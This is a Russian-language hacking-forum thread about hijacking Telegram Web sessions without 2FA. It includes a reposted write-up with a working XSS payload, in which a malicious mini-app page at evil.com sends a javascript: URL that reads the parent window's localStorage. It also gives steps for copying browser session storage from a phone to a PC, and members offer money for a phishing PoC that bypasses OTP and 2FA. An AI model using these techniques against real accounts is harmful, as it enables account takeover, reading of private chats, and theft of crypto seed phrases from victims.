• XSS.stack #1 – первый литературный журнал от юзеров форума

Возможный баг в Тележке

Да я в целом чуть отошел от сабжа ) С веб версией никогда не игрался, судя по данному топику - зря, так что нечего путного сказать по сабжу не могу
Попробуй, это быстро - убедись что ты не залогинен в web.telegram.org в бразуере по умолчанию, напиши себе этот поддомен в сохраненки и кликни.
залетный джун походу писал web-auth, не справился с трай-кетчами
Ты что, у Коли Дурова 2 доктора по матану

Здесь нет ничего ключевого, все очень нестабильно - начиная от авто-логина на разных браузерах до уведомления о входе на новом девайсе. Что говорит о том, что проблема реально есть и возможно она глубже, чем кажется.
Поставил митм прокси на браузер, не увидел ничего интересней ключа в заголовке Sec-WebSocket-Key, он хоть и b64(binary) но я хз как именно передается ключ в браузер, похоже что куда-то вставляется и подменяется самим десктоп клиентом при вызове uri scheme

Если это действительно можно применить в фишинг схеме для обхода ввода ОТП кода и особенно 2фа то готов закинуть 500 дол+ человеку кто сможет PoC сделать
 
Поставил митм прокси на браузер, не увидел ничего интересней ключа в заголовке Sec-WebSocket-Key, он хоть и b64(binary) но я хз как именно передается ключ в браузер, похоже что куда-то вставляется и подменяется самим десктоп клиентом при вызове uri scheme

Если есть андройд-эмулятор, можешь попробовать повторить действия по этой схеме:
Мы создали новый аккаунт в телеграме с двухфакторной аутентификацией, в который зашли с Android-устройства (айфоны работают аналогично). Пройдя по ссылке, мы моментально получили доступ к тому же аккаунту в браузере Chrome этого же мобильного телефона. Никаких кодов или прохождения двухфакторной аутентификации не потребовалось.

Затем мы включили в настройках телефона опцию USB Debugging и подключили его к компьютеру. На компьютере, используя в браузере Chrome режим Remote Debugger, мы открыли вкладку с телеграмом, перешли в раздел, где хранятся сессии сайта в мобильном браузере, и полностью перенесли содержимое этого раздела в аналогичное место в браузер на компьютере.

После этого осталось лишь обновить до этого пустую страницу телеграма на компьютере, и мы получили полный доступ к тому же аккаунту, не проходя никаких дополнительных проверок, не зная никаких паролей или кодов. На других устройствах этот вход отображался как та же сессия, что была создана при автологине. После этого мы можем читать и копировать все новые переписки с этого аккаунта — до тех пор, пока пользователь принудительно не удалит эту сессию.

debugger.png


Там они дальше в статье пишут, что скорее всего токен сессии у жертв спиздили погранцы при переходе границы, но я сомнеюваюсь, т.к. я примерно представляю уровень погранцов, а токен живет секунды :) Пока в поисках самих адекватных жертв, кто может что-то внятно сказать.

Что интересно, что баг этот был известен в определенных кругах (автологин без 2фа), но я лично бы о нем и не услышал без этого шума.
 
Кому интересно, как это было (в контексте журналистов).

Перехват сессии Телеги через веб-аппу в один клик​

Это техническое описание критической уязвимости, о которой я сообщил в Баг Баунти Телеграма 9 марта, 2024 года.
Телеграм исправил уязвимость 11 марта 2024 года.

Уязвимая версия: Telegram WebK 2.0.0 (486) и ниже
Исправленная версия: Telegram WebK 2.0.0 (488)

CVE пока не назначен.

Проведение атаки
Мини-апы Телеграма

«Мини-приложения Telegram — это, по сути, веб-приложения, которые вы можете запускать непосредственно в интерфейсе мессенджера Telegram. Мини-приложения поддерживают простую авторизацию, интегрированные криптовалютные и фиатные платежи (через Google Pay и Apple Pay), индивидуальные push-уведомления и многое другое».
Возможная атака может также затронуть пользователей Web3, через который обрабатываются криптоплатежи в блокчейне TON.
https://ton.org/mini-apps
[URL]https://core.telegram.org/bots/webapps[/URL]
Описание уязвимости

Вредоносное мини-приложение может выполнять произвольный JavaScript через web.telegram.org, что приводит к перехвату сеанса. XSS-уязвимость активируется с использованием типа события web_app_open_link через postMessage.
файлы

[I]Это кэшированная версия уязвимого файла: https://web.telegram.org/k/appDialogsManager-aLs9GOvc.js.[/I]
[I][URL]https://web.telegram.org/src/components/popups/webApp.ts[/URL] (теперь 404 из-за поча)[/I]

Уязвимость содержится в следующей строке:
Код:
telegramWebView.addMultipleEventsListeners({
  // [...]
  web_app_open_link:({url:t})=>{window.open(t,"_blank")}
}

Событие web_app_open_link открывает новую вкладку с указанным URL-адресом, переданным в качестве аргумента. В таких случаях злоумышленник может использовать схему javascript:, чтобы оставаться в контексте JavaScript родительского окна независимо от открытия новой вкладки с другим URL-адресом. Тем не менее, пейлоад javascript:alert(1) вызывает PoC XSS (выполняется на web.telegram.com при посещении моего мини-приложения).
Подготовка
1.
Злоумышленник создает бот + мини-приложение.
2. Устанавливает URL-адрес мини-приложения => https://evil.com/homepage.html.
3. Эксплойт будет размещен на главной странице сайта злоумышленника.
3.1. homepage.html
JavaScript:
<body onload=exploit()>
<script>
function exploit() {
    window.parent.postMessage(JSON.stringify({eventType: 'web_app_open_link', eventData: {url: "javascript:alert(JSON.stringify(window.parent.localStorage))"}}), '*');
}
</script>
</body>

Демо работы эксплойта

Релиз пача Телеграма:
https://github.com/morethanwords/tw...b7e0b96a9f129/src/components/popups/webApp.ts

Код:
web_app_open_link: ({url}) => {
-        window.open(url, '_blank');
+      safeWindowOpen(url);
      },

safeWindowOpen
JavaScript:
export default function safeWindowOpen(url: string) {
  window.open(url, '_blank', 'noreferrer');
}

Аргумент noreferrer исправляет этот недостаток несколькими способами:
  • Запрещает вновь открытому окну отправлять заголовок Referer обратно на исходную страницу.
  • Новое окно изолировано от контекста родительского окна, включая среду выполнения JavaScript.
А это коммит в prod (.env): https://github.com/morethanwords/tweb/commit/b41c5d93ad2f86690dd8dcbd4ca0f66a2273ba06
Код:
VITE_API_ID=1025907
VITE_API_HASH=452b0359b988148995f22ff0f4229750
VITE_VERSION=2.0.0
- VITE_VERSION_FULL=2.0.0 (487)
- VITE_BUILD=487
+ VITE_VERSION_FULL=2.0.0 (488)
+ VITE_BUILD=488
VITE_MTPROTO_WORKER=1
VITE_MTPROTO_SW=
VITE_MTPROTO_HTTP=

Источник: https://medium.com/@pedbap/telegram-web-app-xss-session-hijacking-1-click-95acccdc8d90

P.S. Интуиция подсказывает, что с мини-приложениями Телеги можно еще поиграться :)
 
2 Недели назад взломали мой тг подобным способом, только сообщение о логине и все, хотя на моём аккаунте тг стояла 2fa
Я бы на твоем месте напрягся - это мусорской способ :)

Ты бы сильно нам всем помог, если бы смог разобраться, как у тебя сперли токен сессии. Спасибо.
 
Странно, я добропорядочный гражданин😁,да и в тг ничего такого нету. Я подозреваю что это связанно с веб-приложением, старый знакомый попросил перейти по его рефералке (По своей тупости, я конечно же сделал это) приложение было похоже на обычную тапалку ( как notcoin). Возможно я ошибаюсь,может быть из за виртуального номера. Спустя час после того как вошли в аккаунт, я начал быстро все чистить, от телеграма пришло 2 сообщение о входе в аккаунт, первое на казахском, другое на украинском. В итоге я его удалил. ( 0 сообщений про изменение пароля, смена пароля идет в течении 7 дней и тг обычно отправляет предупреждение об этом, но в этот раз ничего)
 
Последнее редактирование:
Товарищи, кто-нибудь может объяснить как в итоге можно попробовать поработать по данной схеме? я не разбираюсь совсем в тех части. Но если есть рабочий вариант даже если он срабатывает 1 раз из 10 попыток. То очень интересно попробовать)

если я правильно понял, то для того чтобы завладеть телеграмом другого человека нужен только его переход по ссылке?
 
если я правильно понял, то для того чтобы завладеть телеграмом другого человека нужен только его переход по ссылке?
Переход по внутреннему приложению. Судя по всему реализация должна быть где-то в паблике, нужно просто лучше поискать.
 
Переход по внутреннему приложению. Судя по всему реализация должна быть где-то в паблике, нужно просто лучше поискать.
Последнее время в чатах разных вижу много ссылок на внутренние приложения .
 
Последнее время в чатах разных вижу много ссылок на внутренние приложения
По которым, как мы видим, лучше не ходить с аккаунтов, которые жалко потерять. И 2фа не поможет. Я так понял, пофиксили они уже?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я бы на твоем месте напрягся - это мусорской способ :)
А ты откуда знаешь? :rolleyes:
 
А ты откуда знаешь? :rolleyes:
Прочти тему с первого сообщения, а потом прими таблетки и пожалуйста не пиши мне больше ПМ. Мне надоело банить каждый твой аккаунт, спасибо.
 
Примерно 30% от реализации описанной в этой теме: https://xss.pro/threads/109012/post-775727

Мне на днях предложили для тестов полную. Если все работает, то вряд ли я здесь отпишу свои впечатления :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Если выйти с моб устройства с сессии,обратно на этом же устройстве пустит без вопросов. Если залогиниться попробовать на другом устройстве,попросит авторизацию и 2fa. Полагаю устройство хранит какие-то данные с которого выходишь,и об этом знает сервер тг. Я это заметил еще полгода назад,но это работает только с одним и тем же устройством входа/выхода.
 
Связано с https://xss.pro/threads/113351/post-796082:

"Telegram и очередная уязвимость мини-приложений (типа Hamster-кликера)

кликер1.jpg

кликер2.jpg


кликер3.jpg



В чем дело:

- запустив очередной кликер пользователь рискует выполнить не только полезный код, но передать злоумышленнику всего-то навсего свой localStorage.
- в мае 2024 я проводил анализ как раз такого хранилища и подсветил, что в нем хранится дешифрованная SEED фраза. Которая может быть легко добыта злоумышленником. (сегодня 11 июня 2024 все воспроизвелось, смотри скриншоты).

Мои выводы:
- смириться с тем, что SEED мог давно утечь.
- поэтому, хранить на холодном кошельке TON только те суммы, которые могу позволить легко потерять (на Хлеб Only)
- не запускать мини-приложения от NoName разработчиков.

О чем задуматься:
- уязвимость нашли 9 марта 2024, но не пофиксили (хотя фикс занимает 1 строчку кода).
- о небезопасном хранении SEED сказано многое, можно легко (тоже в пару строк кода) добавить хотя бы локальное шифрование с солью.
- и БИНГО, я кажется нащупал ответ на давно волнующий вопрос…"

Источник: https://t.me/crptmnk/122
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх